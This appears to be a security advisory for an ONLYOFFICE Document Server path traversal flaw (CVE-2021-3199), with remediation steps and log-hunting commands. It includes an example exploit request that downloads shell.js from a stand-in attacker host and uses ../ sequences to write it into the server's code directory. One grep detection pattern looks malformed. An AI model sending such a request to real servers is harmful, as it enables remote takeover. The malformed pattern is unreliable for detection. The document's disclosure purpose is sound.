Ascensio System SIA has remediated CVE-2021-3199 (CVSS score 9.8, Critical), an unauthenticated remote path traversal and arbitrary file write vulnerability affecting ONLYOFFICE Document Server versions prior to 6.3.0. The vulnerability allows remote adversaries to submit crafted document conversion requests that write arbitrary files outside the designated cache directory, facilitating remote code execution within enterprise collaboration environments.
Executive Threat Summary & Exploit Landscape
ONLYOFFICE Document Server is widely integrated into enterprise cloud storage and collaboration platforms—including Nextcloud, ownCloud, Seafile, and custom corporate intranets—to provide collaborative editing of text documents, spreadsheets, and presentations. Because these servers process document streams from thousands of users, they often operate with broad network access to internal storage backends.
Under CVE-2021-3199, an attacker targeting the public DocService HTTP API can supply URL-encoded directory traversal sequences in document conversion and save parameters. The server downloads the remote payload and saves it into sensitive system directories, such as the web server root or system crontab paths, leading to unauthenticated remote server takeover.
Vulnerability Mechanics & Technical Root Cause (CWE-22)
The vulnerability exists within the DocService conversion callback handler (server/DocService/sources/converthelp.js). When processing an incoming conversion request, the application extracts the output filename from the client-supplied request payload without sanitizing directory traversal sequences (../):
POST /ConvertService.ashx HTTP/1.1
Host: docs.enterprise.com
Content-Type: application/json
{
"async": false,
"filetype": "docx",
"key": "AttackerKey123",
"outputtype": "html",
"url": "http://attacker-controlled-host.com/shell.js",
"title": "../../../../../var/www/onlyoffice/documentserver/server/DocService/shell.js"
}
The backend downloader fails to normalize the title attribute using path.basename(), instead passing it directly to the local filesystem write routine. As a result, the attacker writes an arbitrary Node.js script into the DocService runtime directory, which is subsequently executed by the application process.
Vulnerable Software Versions & Patch Status Matrix
| Deployment Format | Vulnerable Versions | Fixed Release | Remediation Action |
|---|---|---|---|
| Docker Container (onlyoffice/documentserver) | Tags prior to 6.3.0 (e.g., 6.2.x, 6.1.x) | Tag 6.3.0 or later (latest 8.x) | Docker Image Rebuilt |
| Debian / Ubuntu Native DEB Package | onlyoffice-documentserver < 6.3.0 | Version 6.3.0+ | APT Package Available |
| RHEL / CentOS Native RPM | onlyoffice-documentserver < 6.3.0 | Version 6.3.0+ | RPM Available |
Step-by-Step Remediation Playbook & Patch Commands
Administrators of self-hosted ONLYOFFICE instances must immediately update their installations:
- Docker Compose Upgrade Sequence:
# Pull the latest secure container image docker pull onlyoffice/documentserver:latest # Recreate the container with updated binaries docker-compose down docker-compose up -d --force-recreate # Confirm running image tag docker ps --filter "ancestor=onlyoffice/documentserver" - Ubuntu / Debian Native Packages:
# Update package repository and upgrade sudo apt-get update sudo apt-get install --only-upgrade onlyoffice-documentserver # Restart document server services sudo supervisorctl restart all - File System Audit: Check the ONLYOFFICE server directory for rogue scripts or modified JavaScript files:
find /var/www/onlyoffice/documentserver/server/DocService -type f -name "*.js" -mtime -30
Threat Detection, Log Auditing & Forensic Queries
Inspect NGINX or reverse proxy access logs for traversal tokens targeting ConvertService.ashx:
# Search for directory traversal attempts in Document Server logs
grep -E "(ConvertService.ashx|../|..\)" /var/log/onlyoffice/documentserver/docservice/out.log
grep -E "(%2e%2e|%2f)" /var/log/nginx/onlyoffice*.log



